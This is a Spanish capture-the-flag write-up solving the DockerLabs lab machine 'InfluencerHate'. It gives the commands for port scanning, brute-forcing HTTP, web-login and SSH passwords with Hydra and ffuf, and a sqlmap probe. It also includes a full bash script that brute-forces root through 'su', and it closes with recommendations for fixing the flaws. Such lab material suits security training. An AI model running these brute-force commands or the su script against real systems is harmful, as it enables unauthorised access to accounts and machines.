InfluencerHate
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento detalla la resolución completa de la máquina InfluencerHate, desarrollada por El Pingüino de Mario para la plataforma DockerLabs y clasificada como fácil.
El objetivo es documentar el proceso completo de compromiso del sistema, desde la enumeración inicial hasta la escalada de privilegios, analizando cada vector de ataque y describiendo las vulnerabilidades presentes.
La metodología se ejecutó en tres fases principales:
- Reconocimiento: Identificación de servicios expuestos y descubrimiento de rutas web accesibles.
- Explotación: Acceso inicial mediante descubrimiento de credenciales y fuerza bruta.
- Escalada de privilegios: Abuso de configuraciones débiles y técnicas de fuerza bruta local contra
su.
Todas las acciones fueron realizadas dentro del entorno aislado proporcionado por DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | InfluencerHate |
| Autor | El Pingüino de Mario |
| Dificultad | Fácil |
| Fecha | 28/06/2025 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Se descomprime y despliega la máquina:
unzip "InfluencerHate.zip"sudo bash auto_deploy.sh "InfluencerHate.tar"El script arroja la IP interna asignada:

Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del entorno
Sección titulada «1.1 Organización del entorno»mkdir -p InfluencerHate/{content,exploits,nmap,gobuster,scripts}cd InfluencerHate1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPuertos visibles:
- 22/tcp – SSH
- 80/tcp – HTTP

1.3 Enumeración Web
Sección titulada «1.3 Enumeración Web»Al ingresar al servicio HTTP se muestra una página protegida:

Para avanzar se utiliza un ataque con Hydra sobre credenciales por defecto:
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt \ 172.17.0.2 -s 80 http-get /Resultado:

Credenciales obtenidas:
httpadmin : fhttpadminCon estas credenciales se realiza un escaneo con Gobuster:
gobuster dir \ -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,js \ -t 200 -U httpadmin -P fhttpadmin
Rutas relevantes:
/login.html/index.html
Paso 2 — Explotación (Acceso Inicial)
Sección titulada «Paso 2 — Explotación (Acceso Inicial)»2.1 Prueba de SQL Injection
Sección titulada «2.1 Prueba de SQL Injection»sqlmap -u "http://172.17.0.2/login.php" --forms --batch --dbs \ --headers="Authorization: Basic aHR0cGFkbWluOmZodHRwYWRtaW4="
Aunque se detectó la base de datos users, no contenía información útil.
2.2 Fuerza Bruta con FFUF
Sección titulada «2.2 Fuerza Bruta con FFUF»Se procede con un ataque POST:
ffuf -w /usr/share/wordlists/rockyou.txt:FUZZ \ -u http://172.17.0.2/login.php \ -X POST \ -H "Authorization: Basic aHR0cGFkbWluOmZodHRwYWRtaW4=" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "username=admin&password=FUZZ" \ -fw 802 -t 100
Credenciales válidas:
admin : chocolateAl iniciar sesión aparece un mensaje que revela un nuevo usuario:

Usuario identificado: balutin
2.3 Fuerza bruta SSH
Sección titulada «2.3 Fuerza bruta SSH»hydra -l balutin -P /usr/share/wordlists/rockyou.txt -f -t 64 ssh://172.17.0.2Resultado:

Acceso SSH:

Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 Fuerza bruta local contra su
Sección titulada «3.1 Fuerza bruta local contra su»Se transfiere el diccionario:
scp /usr/share/wordlists/rockyou.txt balutin@172.17.0.2:/Se crea el script:
#!/bin/bashecho "[*] Iniciando fuerza bruta contra 'su' con rockyou.txt"echo "[*] Diccionario: rockyou.txt"echo "[*] Esto puede tomar tiempo..."echo ""
counter=0while IFS= read -r password; do counter=$((counter + 1))
if [ $((counter % 1000)) -eq 0 ]; then echo "[*] Intentos realizados: $counter" fi
echo "$password" | timeout 2 su -c 'echo "SUCCESS"' 2>/dev/null | grep -q "SUCCESS"
if [ $? -eq 0 ]; then echo "" echo "[+] ¡CONTRASEÑA DE ROOT ENCONTRADA!" echo "[+] Contraseña: $password" echo "[+] Intentos realizados: $counter" exit 0 fi
done < rockyou.txt
echo "[-] Fuerza bruta completada. No se encontró la contraseña."echo "[-] Total de intentos: $counter"Resultado del ataque:

Se obtiene acceso root:

Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»- Uso de credenciales por defecto en el servidor HTTP.
- Ausencia total de mecanismos antibruteforce en el formulario web.
- Revelación innecesaria de información sensible (
balutin). - Servicio SSH sin protección ante ataques de fuerza bruta.
- Contraseña de root extremadamente débil y sin restricciones de uso en
su. - Falta de políticas de contraseñas y ausencia de herramientas como Fail2ban.
Recomendaciones
Sección titulada «Recomendaciones»-
Eliminar todas las credenciales por defecto en cualquier servicio.
-
Implementar protección antibruteforce en aplicaciones web (rate-limiting, captchas, lockouts).
-
Evitar mostrar nombres de usuarios válidos en mensajes del sistema.
-
Fortalecer SSH:
- Autenticación por clave
- Fail2ban
- Restricción por usuarios permitidos
-
Implementar políticas estrictas de contraseñas.
-
Restringir el uso de
sua un grupo específico. -
Configurar monitoreo activo de logs para detectar ataques.